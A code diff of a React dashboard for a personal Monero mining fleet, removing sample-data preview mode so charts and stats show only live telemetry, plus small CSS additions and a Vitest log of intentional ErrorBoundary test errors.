const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
}, [totalHashrate]);
useEffect(() => {
const now = new Date().toLocaleTimeString();
@@ -199,38 +193,21 @@ export default function DashboardPage() {
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0;
if (gpuVal > 0 || previewDeck) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
if (totalGPUHashrate > 0) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
}
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]);
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
const hashChart = useMemo(
() => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }),
[hashHistory, displayHashrate]
);
const acceptChart = useMemo(
() => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
[acceptHistory, displayAccept]
);
const cpuChart = useMemo(
() => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
[cpuHistory, displayCpu]
);
const memChart = useMemo(
() => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
[memHistory, displayMem]
);
const gpuChart = useMemo(
() => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
[gpuHistory, totalGPUHashrate]
);
const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
const cpuChart = useMemo(() => resolveChartSeries(cpuHistory), [cpuHistory]);
const memChart = useMemo(() => resolveChartSeries(memHistory), [memHistory]);
const gpuChart = useMemo(() => resolveChartSeries(gpuHistory), [gpuHistory]);
const estUsdDay = useMemo(() => {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay;
return xmr != null ? xmr * price : null;
}, [previewDeck, estXmrDay, xmrPrice]);
if (estXmrDay == null || xmrPrice == null) return null;
return estXmrDay * xmrPrice;
}, [estXmrDay, xmrPrice]);
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
@@ -247,9 +224,8 @@ export default function DashboardPage() {
ok: s.accepted,
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
}));
if (live.length > 0) return live;
return previewDeck ? SAMPLE_ACTIVITY : live;
}, [shares, previewDeck]);
return live;
}, [shares]);
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
@@ -427,12 +403,6 @@ export default function DashboardPage() {
<AuditLogStrip limit={6} />
</div>
{previewDeck && (
<p className="preview-deck-hint font-tech" role="status">
Projection mode charts validated with sample telemetry until your fleet connects
</p>
)}
<header className="deck-hero wealth-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
@@ -470,7 +440,7 @@ export default function DashboardPage() {
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
<div className="deck-wealth-pill">
<div className="dwp-label">Fleet Hash</div>
<div className="dwp-value mint">{formatHashrate(displayHashrate)}</div>
<div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
<div className="dwp-sub">15m rolling</div>
</div>
<div className="deck-wealth-pill">
@@ -478,19 +448,19 @@ export default function DashboardPage() {
<div className="dwp-value mint">
{estUsdDay != null ? `$${estUsdDay.toFixed(2)}` : '—'}
</div>
<div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div>
<div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Accept</div>
<div className="dwp-value">{displayAccept.toFixed(1)}%</div>
<div className="dwp-value">{acceptRate.toFixed(1)}%</div>
<div className="dwp-sub">share quality</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Nodes Live</div>
<div className="dwp-value">
{displayOnline}/{displayAgentTotal}
{onlineCount}/{agents.length}
</div>
<div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div>
<div className="dwp-sub">{onlinePct.toFixed(0)}% online</div>
</div>
</div>
@@ -514,8 +484,8 @@ export default function DashboardPage() {
<section className="gauge-row">
<NeonCard accent="cyan" className="gauge-card" hud>
<GaugeRing
value={displayHashrate}
max={Math.max(displayHashrate * 1.2, 1000)}
value={totalHashrate}
max={Math.max(totalHashrate * 1.2, 1000)}
label="Fleet Hash"
sublabel="15m avg"
color="var(--neon-cyan)"
@@ -524,21 +494,21 @@ export default function DashboardPage() {
</NeonCard>
<NeonCard accent="green" className="gauge-card" hud>
<GaugeRing
value={displayOnlinePct}
value={onlinePct}
label="Online"
sublabel={`${displayOnline}/${displayAgentTotal}`}
sublabel={`${onlineCount}/${agents.length}`}
color="var(--neon-green)"
size={110}
/>
</NeonCard>
<NeonCard accent="purple" className="gauge-card" hud>
<GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<GaugeRing
value={displayCpu}
value={avgCpu}
label="CPU"
sublabel={`RAM ${displayMem.toFixed(0)}%`}
sublabel={`RAM ${avgMem.toFixed(0)}%`}
color="var(--neon-amber)"
size={110}
/>
@@ -548,26 +518,24 @@ export default function DashboardPage() {
<div className="grid-4 stats-grid steampunk-stats">
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Total Hashrate</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div>
<div className="stat-sub">{displayOnline} engines firing</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
<div className="stat-sub">{onlineCount} engines firing</div>
</NeonCard>
{previewDeck ? (
<WealthEarningsPreview xmrPrice={xmrPrice} />
) : (
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
)}
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Fleet Online</div>
<div className="stat-value accepted">
{displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span>
{onlineCount} <span className="stat-dim">/ {agents.length}</span>
</div>
<div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div>
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Accept Rate</div>
<div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div>
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
<div className="stat-sub">
{previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`}
{acceptedShares + rejectedShares > 0
? `${acceptedShares} valid · ${rejectedShares} rejected`
: 'no shares yet'}
</div>
</NeonCard>
<NeonCard accent="amber" className="stat-card-wrap">
@@ -819,9 +787,8 @@ export default function DashboardPage() {
{/* ── Analytics row — always visible ─────────────────────────────────── */}
<ContributionBars
bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []}
sample={previewDeck && contribs.length === 0}
xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
bars={contribs}
xmrPerDay={estXmrDay ?? undefined}
xmrPrice={xmrPrice}
/>
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
@@ -862,7 +829,7 @@ export default function DashboardPage() {
</div>
</Suspense>
{(hasGPUMining || previewDeck) && (
{hasGPUMining && (
<Suspense fallback={<ChartPlaceholder height={220} />}>
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
<HashrateChart
@@ -907,7 +874,7 @@ export default function DashboardPage() {
<span className="section-ornament"></span> Share Activity Pulse
<span className="section-line" />
</h2>
<ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} />
<ActivityPulse items={activityItems} />
</NeonCard>
<section className="section">

View File

@@ -501,6 +501,26 @@
margin-bottom: 1rem;
}
.reforge-confirm-banner {
color: var(--neon-cyan, #00e5ff);
background: rgba(0, 229, 255, 0.08);
border-color: rgba(0, 229, 255, 0.35);
}
.fusion-prep-picker.fusion-prep-highlight {
padding: 0.75rem;
border-radius: 8px;
outline: 2px solid var(--accent-red);
outline-offset: 2px;
background: rgba(239, 68, 68, 0.08);
animation: fusion-prep-pulse 1.2s ease-in-out 3;
}
@keyframes fusion-prep-pulse {
0%, 100% { outline-color: var(--accent-red); }
50% { outline-color: rgba(239, 68, 68, 0.35); }
}
.build-btn {
width: 100%;
justify-content: center;

View File

@@ -50,6 +50,18 @@ body {
padding: 2rem;
}
.session-degraded-banner {
position: sticky;
top: 0;
z-index: 200;
padding: 0.5rem 1rem;
text-align: center;
font-size: 0.85rem;
color: #fbbf24;
background: rgba(251, 191, 36, 0.12);
border-bottom: 1px solid rgba(251, 191, 36, 0.35);
}
.error-boundary-fallback {
padding: 1.5rem;
margin: 1rem 0;

View File

@@ -0,0 +1,49 @@
RUN v2.1.9 G:/crypto miner/server/web
stderr | src/components/components.test.tsx > ErrorBoundary > shows fallback UI and clears error on retry
The above error occurred in the <MaybeThrow> component:
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:261:27)
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
UI error: Error: render boom
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:231:27)
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
componentStack: '\n' +
' at MaybeThrow (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:261:27)\n' +
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
}
stderr | src/components/components.test.tsx > ErrorBoundary > uses custom fallback when provided
The above error occurred in the <ThrowOnce> component:
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:120:22)
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
UI error: Error: render boom
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:109:26)
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
componentStack: '\n' +
' at ThrowOnce (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:120:22)\n' +
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
}